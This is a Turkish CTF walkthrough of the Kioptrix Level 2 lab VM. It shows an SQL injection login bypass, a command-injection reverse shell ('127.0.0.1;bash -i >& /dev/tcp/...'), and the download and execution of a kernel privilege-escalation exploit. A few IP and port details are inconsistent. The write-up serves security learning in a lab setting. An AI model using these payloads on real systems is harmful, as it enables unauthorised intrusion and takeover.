KIOPTRIX LEVEL 2

KIOPTRIX LEVEL 2

KIOPTRIX LEVEL 2

TANIM:

Bu Kioptrix VM Görüntüsü kolay zorluklardır. Oyunun amacı, mümkün olan her türlü yolla (VM sunucusunu veya oyuncuyu hacklemek hariç) kök erişimi elde etmektir. Bu oyunların amacı, güvenlik açığı değerlendirmesi ve istismarında temel araçları ve teknikleri öğrenmektir. Zorlukları başarıyla tamamlamanın birden fazla yolu vardır.

Makineyi buradan indirebilirsiniz:

LINK: https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

KIOPTRIX Level 2 sanal makinasını buradan indirebilirsiniz. Sanal makineyi VirtualBox ya da VMware gibi bir sanallaştırma platformu üzerinde çalıştırabilirsiniz. İndirdikten sonra, "Import Appliance" seçeneği ile kurulumu tamamlayabilirsiniz. Makineyi kurduktan sonra aşağıdaki ekran bizi karşılıyor.

Adım 1: IP Adresimizi Tespit Etme

Sızma işlemine başlamadan önce Kali Linux makinamızı başlatıyoruz. Hedef sistemi taramadan önce, ağ üzerindeki konumumuzu netleştirmek için kendi IP adresimizi kontrol etmek önemlidir. Bu adım, saldırı sırasında hangi IP adresiyle işlem yapacağımızı belirlememize yardımcı olur. Kendi IP adresimizi öğrenmek için aşağıdaki komutu kullanabiliriz:

İfconfig

Bu komut sonucunda IP adresimizin 192.168.233.129 olduğu tespit ettik.

Şimdi netdiscover taraması yapıp hedef makinemizin IP adresini öğrenelim.

netdiscover

Tarama sonucunda hedef makinemizin ip adresinin 192.168.233.132 olduğunu görüyoruz. Tarama işlemlerimize bu IP adresiyle(192.168.233.132) devam edeceğiz.

Adım 2: Keşif Aşaması (Nmap Tarama)

nmap -sC -sS -sV -p- 192.168.233.132

  • -sC: Varsayılan betik setini çalıştırır; güvenlik testleri ve bilgileri toplar.
  • -sS: SYN taraması yapar; portların durumunu belirlemek için hafif bir yöntemdir.
  • -sV: Açık portlardaki hizmetlerin versiyon bilgilerini tespit eder.
  • -p-: 1-65535 arası tüm portları tarar.
  • 168.233.132: Hedef IP adresidir.

Taramamızı yaptıktan sonra açık olan portları kontrol ediyoruz. Aşağıdaki portların açık olduğunu gördük:

  • 80 (HTTP)
  • 111 (RPC)
  • 443 (HTTPS)
  • 612 (TCP/UDP)
  • 631 (CUPS)
  • 3306 (MySQL)

Http açık olduğuna göre ilk olarak web sitesini ziyaret edebiliriz.

Adım 3: Web Sitesini Ziyaret Etme ve Login Sayfası

Karşımıza böyle bir login ekranı çıkıyor. Login ekranı üzerinden 'admin:123456', 'admin', 'root’ gibi yaygın ve basit kullanıcı adı-parola kombinasyonlarıyla birkaç deneme gerçekleştirdik. Ancak bu giriş denemeleri başarısız oldu. Görünen o ki, varsayılan kimlik bilgileri ya değiştirilmiş ya da sistem basit parolalara karşı bir güvenlik önlemi almış durumda.

Ardından nmap çıktısını kontol edip 3309 portundaki mySQL hizmetinin açık olduğunu hatırlıyorum. Bu durum web sitesinin bir MySQL veritabanı kullanıyor olabileceğini düşündürüyor. Kullanıcı adı/şifre alanına girdiğimiz bilgileri manipüle ederek oturum açma sayfasına bir SQL injection saldırısı yapmayı deneyebiliriz. 

Adım 4: SQL Injection Saldırısı

SQL injection saldırısı ile oturum açma sayfasındaki doğrulama mekanizmasını atlatabiliriz. Kullanıcı adı ve şifre alanlarına uygun bir SQL sorgusu girerek veritabanını manipüle edebiliriz. Bu saldırıyı aşağıdaki şekilde gerçekleştirdik:

admin’ or 1=1#

Bu kodun arka plan da çalışma mantığı şu şekildedir:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Bu sorguyu manipüle etmek için username alanına admin' or 1=1# girildiğinde, sorgu şu şekilde değiştirilir:

SELECT * FROM users WHERE username = 'admin' OR 1=1#' AND password = 'password';

  • OR 1=1 ifadesi, SQL sorgusunda her zaman doğru olan bir koşul yaratır.
  • # karakteri, sorgunun geri kalanını yorum satırı olarak işaretleyerek devre dışı bırakır.

Bu şekilde, şifre doğrulaması yapılmadan admin kullanıcısı ile giriş yapılabilir. Bu, veri tabanının zafiyetine bağlı olarak giriş doğrulama sistemini atlamaya yarar.

Sorgumuz başarılı bir şekilde çalıştı. Bizi network içerisinde ping atabileceğimiz bir form ekranına yönlendirdi.

Adım 5: Ping Formu ve Ters Kabuk Açığı

Karşımıza çıkan form, ağdaki cihazlara ping atmak için tasarlanmış. Ancak, form girdilerinin güvenli bir şekilde işlenmemesi, komut injection zafiyetine yol açıyor. Bu durum, ters kabuk (reverse shell) açığı oluşturmamıza olanak tanıyor.

Öncelikle bir local hostumuzla deneme yapalım.

127.0.0.1 adresi, yerel ağda kullanılan bir IP adresidir. Bu IP adresi, genellikle “localhost” olarak adlandırılır ve bilgisayarınızda yer alan ağ bağlantı noktasını temsil eder. 127.0.0.1 adresi, bilgisayarınızın kendi kendine bağlanmasını sağlar, yani bilgisayarınızın kendi üzerinde çalışan bir sunucu gibi davranmasını sağlar.

127.0.0.1

Formu incelediğimizde ağdaki cihazlara ping komutu göndererek, ilgili cihazların erişilebilir olup olmadığını kontrol etmek için tasarlanmış olduğunu görüyoruz. Ancak, formun kullanıcı girdilerini güvenli bir şekilde işleyememesi, ters kabuk açığına yol açıyor. Bu da önemli güvenlik zafiyetlerine sebep olabilir. Mesela kullanıcıların hassas bilgilerine böyle ulaşabiliriz. Bir örnekle açıklayalım:

cat /etc/passwd

Bu sonuçta hem ping komutunun çıktısını, hem de sistemin /etc/passwd dosyasının içeriğini görmektesiniz. Bu dosya, her kullanıcının kullanıcı adını, kullanıcı kimlik numarasını (UID), grup kimlik numarasını (GID), giriş dizinini ve kabuğunu içerir.

Adım 6: Ters Kabuk (Reverse Shell)

Netcat, gelen bağlantıları dinlemek ve ters kabuk (reverse shell) gibi işlemler gerçekleştirmek için kullanılan bir araçtır. Genellikle ağ bağlantıları kurmak, dinlemek, TCP/UDP bağlantıları açmak, veri transferi yapmak ve ters kabuk saldırıları gibi senaryolarda sıklıkla tercih edilir.

Kali makinemizde netcat’i açıp dinlemeye alıyoruz.

nc -lvnp 8080

 Daha sonra reverse Shell için https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet  sitesinden bash shellini alIyoruz.

127.0.0.1;bash -i >& /dev/tcp/192.168.233.132/8080 0>&1

Kendi kali makinemizde netcat ile dinleme modundayken Kioptrix makinesinin bize bağlandığını görmekteyiz. whoami komutunu çalıştırarak hangi kullanıcıda olduğumuzu kontrol edebiliriz. Ekran çıktısında görüldüğü gibi sistemde apache kullanıcısı olarak sisteme giriş yapmış bulunuyoruz.  Yani artık apache kullanıcısının yetkileri dahilinde sistemde komut çalıştırabilir durumdayız. Ancak asıl hedefimiz, root kullanıcısına erişip sistemi tam anlamıyla ele geçirmek. Bu işlemi gerçekleştirmek için yetki yükseltme (privilege escalation) tekniklerinden faydalanmamız gerekiyor. İlk olarak, sistemin çekirdek (kernel) sürümünü öğrenip, bu sürümde bilinen bir güvenlik açığı olup olmadığını kontrol edeceğiz.

Kali Linux üzerinde, bu tür güvenlik açıklarını hızlıca araştırmamıza olanak tanıyan searchsploit aracı mevcut. Kernel sürümüne uygun zafiyetleri searchsploit kullanarak araştırıyoruz ve ilgili zafiyeti bulduktan sonra, bunu istismar etmek için gerekli adımları atıyoruz.

searchsploit linux kernel CentOS

Aynı işlemi tarayıcıdan exploit database ile de araştırabiliriz.

Yerel olarak kullanılabilir istismarları arıyorum. (9545.c) exploit'i  Kali makinesinden hedef makineye aktarılıyor. Bu dosyayı kullanabiliriz. Dosyayı documents klasörüne indiriyorum.

ls

İstismarı makinemize indirdikten sonra, hedef sisteme yüklemek için bir Python http sunucusu başlatabiliriz. Bunu yapmak için yapmanız gereken komutlara bakalım.

python -m SimpleHTTPServer 80

Bu aşamayı daha iyi anlamak için, exploit dosyamızı bir web sitesi gibi kullanıma sunduğumuzu hayal edebiliriz. Yani exploit’imizi hedef sisteme aktarmak için Kali makinemizde küçük bir web sunucusu çalıştırıyoruz.

Bu sunucunun çalışmasıyla birlikte, hedef makineye bu dosyayı indirtebiliriz. Burada 80 portunu kullanıyoruz, fakat isterseniz başka bir port numarası da tercih edebilirsiniz. Eğer port 80 meşgulse, alternatif olarak 8080 ya da 8000 gibi portlar kullanılabilir.

HTTP sunucusunu başlattıktan sonra, hedef makinede terminal ekranına geçiyoruz ve aşağıdaki komutları çalıştırarak exploit dosyamızı indiriyoruz:

wget http://192.168.233.129:8000/9545.c

wget komutu: Hedef makinenin belirtilen IP adresine (192.168.233.129) bağlanarak exploit dosyasını indirir.

gcc 9545.c -o 9545

gcc 9545.c komutu: GNU Compiler Collection (GCC) kullanarak C dilinde yazılmış olan 9545.c dosyasını derler.

gcc 9545.c -o exx

gcc 9545.c -o exx komutu: GCC (GNU Compiler Collection) kullanarak 9545.c adlı C dosyasını derler ve sonuç olarak çalıştırılabilir dosyayı exx adıyla oluşturur.

./exx

./exx komutu: Dosya çalıştırılır.

Exploiti derleyip çalıştırdığımızda root erişimini elde ettik ve sistemi başarılı bir şekilde ele geçirdik.

İlgilenip okuduğunuz için teşekkür ederim. Level 3 de görüşmek üzere..

Merhabalar. Ben Hilal. Adli Bilişim Mühendisliği 3. sınıf öğrencisiyim. Siber güvenlik alanında edindiğim bilgileri sizlerle paylaşıyorum. Keyifli okumalar dilerim.